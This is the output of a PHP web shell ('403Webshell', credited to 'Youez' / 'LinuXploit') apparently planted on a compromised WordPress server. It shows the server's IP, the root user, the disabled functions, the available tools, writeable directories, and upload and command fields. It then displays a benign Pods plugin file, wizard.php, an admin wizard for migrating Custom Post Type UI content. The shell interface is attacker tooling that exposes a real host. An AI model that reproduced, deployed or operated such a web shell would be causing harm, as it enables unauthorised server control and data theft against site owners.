403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/pods/components/Migrate-CPTUI/ui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/pods/components/Migrate-CPTUI/ui/wizard.php
<?php

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

// phpcs:ignoreFile WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
?>
<div class="wrap pods-admin">
	<div id="icon-pods" class="icon32"><br /></div>

	<form action="" method="post" class="pods-submittable">
		<div class="pods-submittable-fields">
			<?php PodsForm::output_field( 'action', 'pods_admin_components', 'hidden' ); ?>
			<?php PodsForm::output_field( 'component', $component, 'hidden' ); ?>
			<?php PodsForm::output_field( 'method', $method, 'hidden' ); ?>
			<?php PodsForm::output_field( '_wpnonce', wp_create_nonce( 'pods-component-' . $component . '-' . $method ), 'hidden' ); ?>
			<?php PodsForm::output_field( 'cleanup', 0, 'hidden', array( 'attributes' => array( 'id' => 'pods_cleanup' ) ) ); ?>

			<h2 class="italicized"><?php esc_html_e( 'Migrate: Import from Custom Post Type UI', 'pods' ); ?></h2>

			<img src="<?php echo esc_url( PODS_URL ); ?>ui/images/pods-logo-notext-rgb-transparent.png" class="pods-leaf-watermark-right" />

			<div id="pods-wizard-box" class="pods-wizard-steps-2 pods-wizard-hide-first">
				<div id="pods-wizard-heading">
					<ul>
						<li class="pods-wizard-menu-current" data-step="1">
							<i></i> <span>1</span> <?php esc_html_e( 'Step 1: Setup', 'pods' ); ?>
							<em></em>
						</li>
						<li data-step="2">
							<i></i> <span>2</span> <?php esc_html_e( 'Step 2: Migrate', 'pods' ); ?>
							<em></em>
						</li>
					</ul>
				</div>
				<div id="pods-wizard-main">
					<div id="pods-wizard-panel-1" class="pods-wizard-panel">
						<div class="pods-wizard-content">
							<p><?php esc_html_e( 'Custom Post Type UI provides an interface to create Custom Post Types and Custom Taxonomies. You can import these and their settings directly into Pods', 'pods' ); ?></p>
						</div>

						<div id="pods-wizard-options">
							<div class="pods-wizard-options-list">
								<div class="pods-wizard-option">
									<a href="#pods-wizard-import" data-opt="0">
										<div>
											<h2><?php esc_html_e( 'Import Only', 'pods' ); ?></h2>

											<p><?php esc_html_e( 'This will import your Custom Post Types and Taxonomies.', 'pods' ); ?></p>
										</div>
										<span>&#10095;</span>
									</a>
								</div>
								<div class="pods-wizard-option">
									<a href="#pods-wizard-import-clean" data-opt="1">
										<div>
											<h2><?php esc_html_e( 'Import and Clean Up', 'pods' ); ?></h2>

											<p><?php esc_html_e( 'This will import your Custom Post Types and Taxonomies, and then remove them from Custom Post Type UI.', 'pods' ); ?></p>
										</div>
										<span>&#10095;</span>
									</a>
								</div>
							</div>
						</div>
					</div>
					<div id="pods-wizard-panel-2" class="pods-wizard-panel pods-wizard-option-content">
						<div class="pods-wizard-content">
							<p><?php esc_html_e( 'Choose below which Custom Post Types and Taxonomies you want to import into Pods', 'pods' ); ?></p>

							<p>
								<a href="#toggle" class="button pods-wizard-toggle-all"
									data-toggle="all"><?php esc_html_e( 'Toggle everything on / off', 'pods' ); ?></a>
							</p>
						</div>

						<div class="stuffbox">
							<h3><label for="link_name"><?php esc_html_e( 'Choose Post Types to Import', 'pods' ); ?></label>
							</h3>

							<div class="inside pods-manage-field pods-dependency">
								<?php
								if ( ! empty( $post_types ) ) {
									?>
									<div class="pods-field-option-group">
										<p class="pods-field-option-group-label">
											<?php esc_html_e( 'Available Post Types', 'pods' ); ?>
										</p>

										<div class="pods-pick-values pods-pick-checkbox">
											<p>
												<a href="#toggle" class="button pods-wizard-toggle-all"
													data-toggle="post_type"><?php esc_html_e( 'Toggle all on / off', 'pods' ); ?></a>
											</p>

											<ul>
												<?php
												foreach ( $post_types as $post_type ) {
													$post_type_name  = pods_v( 'name', $post_type );
													$post_type_label = pods_v( 'label', $post_type, ucwords( str_replace( '_', ' ', $post_type_name ) ) );
													?>
													<li>
														<div class="pods-field pods-boolean">
															<?php
															PodsForm::output_field( 'post_type[' . $post_type_name . ']', pods_v( 'post_type[' . $post_type_name . ']', 'post', true ), 'boolean', [
																'boolean_yes_label' => $post_type_label . ' (' . $post_type_name . ')',
																'disable_dfv'       => true,
															] );
															?>
														</div>
													</li>
													<?php
												}
												?>
											</ul>
										</div>
									</div>
									<?php
								} else {
									?>
									<p class="padded"><?php esc_html_e( 'No Post Types were found.', 'pods' ); ?></p>
									<?php
								}//end if
								?>
							</div>
						</div>

						<div class="stuffbox">
							<h3><label for="link_name"><?php esc_html_e( 'Choose Taxonomies to Import', 'pods' ); ?></label>
							</h3>

							<div class="inside pods-manage-field pods-dependency">
								<?php
								if ( ! empty( $taxonomies ) ) {
									?>
									<div class="pods-field-option-group">
										<p class="pods-field-option-group-label">
											<?php esc_html_e( 'Available Taxonomies', 'pods' ); ?>
										</p>

										<div class="pods-pick-values pods-pick-checkbox">
											<p>
												<a href="#toggle" class="button pods-wizard-toggle-all"
													data-toggle="taxonomy"><?php esc_html_e( 'Toggle all on / off', 'pods' ); ?></a>
											</p>

											<ul>
												<?php
												foreach ( $taxonomies as $taxonomy ) {
													$taxonomy_name  = pods_v( 'name', $taxonomy );
													$taxonomy_label = pods_v( 'label', $taxonomy, ucwords( str_replace( '_', ' ', $taxonomy_name ) ) );
													?>
													<li>
														<?php
														PodsForm::output_field( 'taxonomy[' . $taxonomy_name . ']', pods_v( 'taxonomy[' . $taxonomy_name . ']', 'post', true ), 'boolean', [
															'boolean_yes_label' => $taxonomy_label . ' (' . $taxonomy_name . ')',
															'disable_dfv'       => true,
														] );
														?>
													</li>
													<?php
												}
												?>
											</ul>
										</div>
									</div>
									<?php
								} else {
									?>
									<p class="padded"><?php esc_html_e( 'No Taxonomies were found.', 'pods' ); ?></p>
									<?php
								}//end if
								?>
							</div>
						</div>
					</div>

					<div id="pods-wizard-actions" class="pods-wizard-button-interface">
						<div id="pods-wizard-toolbar">
							<button id="pods-wizard-start" class="button button-secondary"><?php esc_html_e( 'Start Over', 'pods' ); ?></button>
							<button id="pods-wizard-next" class="button button-primary" data-next="<?php esc_attr_e( 'Next Step', 'pods' ); ?>" data-finished="<?php esc_attr_e( 'Finished', 'pods' ); ?>" data-processing="<?php esc_attr_e( 'Processing', 'pods' ); ?>.."><?php esc_html_e( 'Next Step', 'pods' ); ?></button>
						</div>
						<div id="pods-wizard-finished">

						</div>
					</div>
				</div>
			</div>
		</div>
	</form>
</div>
<script type="text/javascript">
	var pods_admin_submit_callback = function ( id ) {
		id = parseInt( id );
		document.location = 'admin.php?page=pods&do=create';
	};

	var pods_admin_option_select_callback = function ( $opt ) {
		jQuery( '#pods_cleanup' ).val( $opt.data( 'opt' ) );
	};

	const toggle_all = {
		all: true
	};

	jQuery( function ( $ ) {
		$( '.pods-wizard-toggle-all' ).on( 'click', function ( e ) {
			e.preventDefault();

			const toggleData = $( this ).data( 'toggle' );

			if ( 'undefined' == typeof toggle_all[toggleData] ) {
				toggle_all[toggleData] = true;
			}

			let $parent;

			if ( 'all' !== toggleData ) {
				$parent = $( this ).closest( '.pods-field-option-group' );
			} else {
				$parent = $( this ).closest( '.pods-wizard-option-content' );
			}

			$parent.find( '.pods-field.pods-boolean input[type="checkbox"]' ).prop( 'checked', (!toggle_all[toggleData]) );

			toggle_all[toggleData] = (!toggle_all[toggleData]);
		} );

		$( document ).Pods( 'validate' );
		$( document ).Pods( 'submit' );
		$( document ).Pods( 'wizard' );
		$( document ).Pods( 'dependency' );
		$( document ).Pods( 'advanced' );
		$( document ).Pods( 'confirm' );
	} );
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit